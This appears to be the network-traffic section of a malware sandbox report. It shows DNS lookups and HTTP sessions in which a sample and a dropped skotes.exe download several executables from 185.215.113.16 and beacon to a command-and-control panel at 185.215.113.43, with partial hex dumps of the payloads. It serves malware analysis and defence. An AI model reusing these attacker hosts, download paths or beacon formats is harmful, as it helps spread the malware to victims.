Nov 1, 2024 00:40:29.365675926 CET	1.1.1.1	192.168.2.6	0xd2aa	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:29.365675926 CET	1.1.1.1	192.168.2.6	0xd2aa	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.368449926 CET	1.1.1.1	192.168.2.6	0x9eb6	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.368449926 CET	1.1.1.1	192.168.2.6	0x9eb6	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.368449926 CET	1.1.1.1	192.168.2.6	0x9eb6	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.368449926 CET	1.1.1.1	192.168.2.6	0x9eb6	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.373651981 CET	1.1.1.1	192.168.2.6	0xbcc	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:29.373651981 CET	1.1.1.1	192.168.2.6	0xbcc	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.382607937 CET	1.1.1.1	192.168.2.6	0xca84	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.382607937 CET	1.1.1.1	192.168.2.6	0xca84	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.382607937 CET	1.1.1.1	192.168.2.6	0xca84	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.382607937 CET	1.1.1.1	192.168.2.6	0xca84	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.388632059 CET	1.1.1.1	192.168.2.6	0x5eac	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.392432928 CET	1.1.1.1	192.168.2.6	0x4d6b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 1, 2024 00:40:29.392432928 CET	1.1.1.1	192.168.2.6	0x4d6b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 1, 2024 00:40:29.392432928 CET	1.1.1.1	192.168.2.6	0x4d6b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 1, 2024 00:40:29.392432928 CET	1.1.1.1	192.168.2.6	0x4d6b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 1, 2024 00:40:30.011327982 CET	1.1.1.1	192.168.2.6	0x3cab	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:30.011327982 CET	1.1.1.1	192.168.2.6	0x3cab	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:30.039107084 CET	1.1.1.1	192.168.2.6	0x3cab	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:30.039107084 CET	1.1.1.1	192.168.2.6	0x3cab	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:30.724854946 CET	1.1.1.1	192.168.2.6	0x7c9f	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:30.724854946 CET	1.1.1.1	192.168.2.6	0x7c9f	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:30.724869967 CET	1.1.1.1	192.168.2.6	0x7c9f	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:30.724869967 CET	1.1.1.1	192.168.2.6	0x7c9f	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:39.394752026 CET	1.1.1.1	192.168.2.6	0x7af1	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49735	185.215.113.16	80	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:38:15.190258026 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 00:38:16.106179953 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:38:15 GMT Content-Type: application/octet-stream Content-Length: 2750464 Last-Modified: Thu, 31 Oct 2024 23:00:11 GMT Connection: keep-alive ETag: "67240bfb-29f800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ !`Ui` @ @.rsrc`2@.idata 8@itokqeos)):@vqtnthmp @)@.taggant@`")@
Nov 1, 2024 00:38:16.106195927 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:16.106374025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:16.106384039 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:16.106396914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:16.106456995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:16.106468916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:16.106513023 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:16.106524944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:16.106534958 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?\|-az.G\SI{;QycX5e[[qpe&wf-Xy, (qhU6+WW*FMyPsM`J_x^LLZ+CR)jAwbf:M7y&
Nov 1, 2024 00:38:16.112922907 CET	1236	IN	Data Raw: dc 5d 13 76 19 5e 1b 92 fc 93 14 cb fc ed c1 18 62 1a 84 f2 ff 52 11 34 6f 72 c0 29 77 c3 7e 37 9a 3a 0b 0f b9 7a 0b 9f 57 40 16 14 58 91 67 c6 f4 79 79 c7 6c 71 8c e0 6d 74 02 16 4c fb 06 21 fd 55 7e ed f5 30 79 38 62 01 7f b0 72 d7 1a 1e fe fc Data Ascii: ]v^bR4or)w~7:zW@XgyylqmtL!U~0y8br<#NG/(]9':(/SFYKbcdSNF<WSLw^hiq{.g6%[<IzT,aU?Vd*8=swzVLIAu(y)Zaazk3atumHXek=Tx\2IVg
Nov 1, 2024 00:38:22.326760054 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 00:38:22.607894897 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:38:22 GMT Content-Type: application/octet-stream Content-Length: 1968128 Last-Modified: Thu, 31 Oct 2024 23:36:29 GMT Connection: keep-alive ETag: "6724147d-1e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf N@PN@WkDNN @.rsrcD@.idata @ p,@qodksccb 3@reojqbkzN@.taggant0 N"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49866	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:38:38.972008944 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:38:39.891206026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49881	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:38:41.409236908 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:38:42.338849068 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 33 30 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 33 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 33 30 33 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 33 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1003036001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003037001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003038001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003039001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49887	185.215.113.16	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:38:42.349628925 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 00:38:43.250613928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:38:43 GMT Content-Type: application/octet-stream Content-Length: 2955264 Last-Modified: Thu, 31 Oct 2024 23:36:09 GMT Connection: keep-alive ETag: "67241469-2d1800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 20 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 30 00 00 04 00 00 e9 49 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ 0@P0I-@Th@ ~@.rsrc@@.idata @iktxewek`^@nlvjxyrc0,@.taggant0 0",@
Nov 1, 2024 00:38:43.250638008 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:43.250767946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:43.250844955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:43.250899076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:43.250933886 CET	1236	IN	Data Raw: e3 c1 6a 25 11 96 96 04 59 11 9f f7 f6 0d f9 2a f9 6f 6a db 4d 9e b0 02 5e 9e e8 5a 51 9b 06 d8 60 9f 3a 10 6a c9 8e 94 ed d2 c6 47 5b 97 e1 b3 da 9d d4 67 e5 27 28 2b f1 7e b9 ec 6c a7 9e 9b 72 b2 2e 19 a1 d6 f5 a6 69 1e 77 ff 1b 5e 7f 62 e1 09 Data Ascii: j%YojM^ZQ`:jG[g'(+~lr.iw^bx!qhQvg$mbjp]#(w6=oWk"D.d%>M1d\m#jr8[k{D[wk
Nov 1, 2024 00:38:43.250976086 CET	1236	IN	Data Raw: 7d 91 ed 97 c1 ad 34 1f e8 be 27 55 a6 96 29 88 af 59 68 67 f5 33 1f 47 a0 56 c9 a7 1c ce be 4c 2c 6f 5a 18 a0 1a 36 ef 01 6e f7 be 77 19 d2 56 7b 6d b2 eb 7c b1 ea 5f 02 69 d0 c1 7a a7 b0 13 fc 2e 08 f7 77 fa 1a 17 d2 92 63 f4 11 6e e7 55 f2 1a Data Ascii: }4'U)Yhg3GVL,oZ6nwV{m\|_iz.wcnUf^`$lZW.:zM5jXZ#;^ZfHFy@"!ox)x?I[O[{c=r*%s'Vi+3%6k+'`^@WZ
Nov 1, 2024 00:38:43.251023054 CET	1060	IN	Data Raw: 3b e9 af 08 e9 06 cd d3 d2 9a 2e 22 49 27 fc b2 9c 20 85 7f 83 d6 fc bf c8 9a ae 2a 67 78 8d 02 36 b9 4a 98 f0 4e 3f fb 50 be 31 c8 df af 91 81 db 2d e8 fa a9 7f 84 da 2a be a7 12 dc 27 07 e6 5b aa e7 e5 2d 55 74 6b 62 31 60 fe 59 a1 d1 f9 63 f1 Data Ascii: ;."I' gx6JN?P1-'[-Utkb1`YcYdsJ_:j(A{~N`k{Wke`<2UJ*z)#khe~9"a9qjE\|[)i\|9ZUs
Nov 1, 2024 00:38:43.251089096 CET	1236	IN	Data Raw: eb f0 d1 33 e0 ef ba 03 79 15 fd de cf 5b d9 d4 fd ae 00 ea fd 66 97 e6 6c e9 98 20 8f c2 b1 d4 e3 97 e7 49 df 3a 29 c2 35 f1 73 7f d0 0a aa cb e3 52 f9 23 63 66 a5 e9 d9 87 f8 11 ed 79 6c df de 0a f4 ae ea 1e e4 56 dc e1 fa 02 c4 b9 f7 f1 db 15 Data Ascii: 3y[fl I:)5sR#cfylVMZvB{6WB1aC>jkLJwqUl%5Zb-G4sVyYpK6Oq&H{EY}dWo#6\|\|:iV
Nov 1, 2024 00:38:43.251127005 CET	1236	IN	Data Raw: 6b e7 f6 8c 66 e1 77 93 00 d7 eb 66 64 0d fd b4 c2 fd 23 6c ed 60 f9 6f e1 95 4b 1c 7d 22 f7 68 84 a5 ff 88 43 9c 91 24 8f 03 41 0a 7d 4f 04 37 4d b0 6b fb ce 0a 55 ee 47 73 17 2a ae c2 cb 04 69 d3 bb 29 01 22 af 22 bd 86 ef 1a 47 7e 24 25 62 d7 Data Ascii: kfwfd#l`oK}"hC$A}O7MkUGs*i)""G~$%bPl%5(FXt)G:w^5Iw+auywJ5xJ}%T+-OG&I.o%-VEc[a1oF~6F0w2T?
Nov 1, 2024 00:38:43.255942106 CET	1236	IN	Data Raw: 21 6c fe a2 9a 08 ef 10 e2 86 90 ef 9f 9e 0f d2 1b c2 f6 a2 e8 1a 45 05 26 e4 32 e2 14 d2 72 d0 32 ad 86 f0 c3 9f b7 ad e5 f7 13 d8 d2 11 db 58 62 64 67 11 09 41 85 f2 21 20 41 e0 fc 99 f8 ef c2 f4 78 1c 28 80 fc fc ad f1 67 f0 35 9e 2a 28 f6 ad Data Ascii: !lE&2r2XbdgA! Ax(g5*(d"?%npXLNOP%[0G5%_X.yq+DEW&_+4Ge#?+~e[,$Xz0oyio%]nY6}evv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49943	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:38:51.665402889 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003036001&unit=246122658369
Nov 1, 2024 00:38:52.601676941 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49948	185.215.113.16	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:38:52.622893095 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 00:38:53.533003092 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:38:53 GMT Content-Type: application/octet-stream Content-Length: 2123776 Last-Modified: Thu, 31 Oct 2024 23:36:22 GMT Connection: keep-alive ETag: "67241476-206800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 30 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 72 00 00 04 00 00 98 54 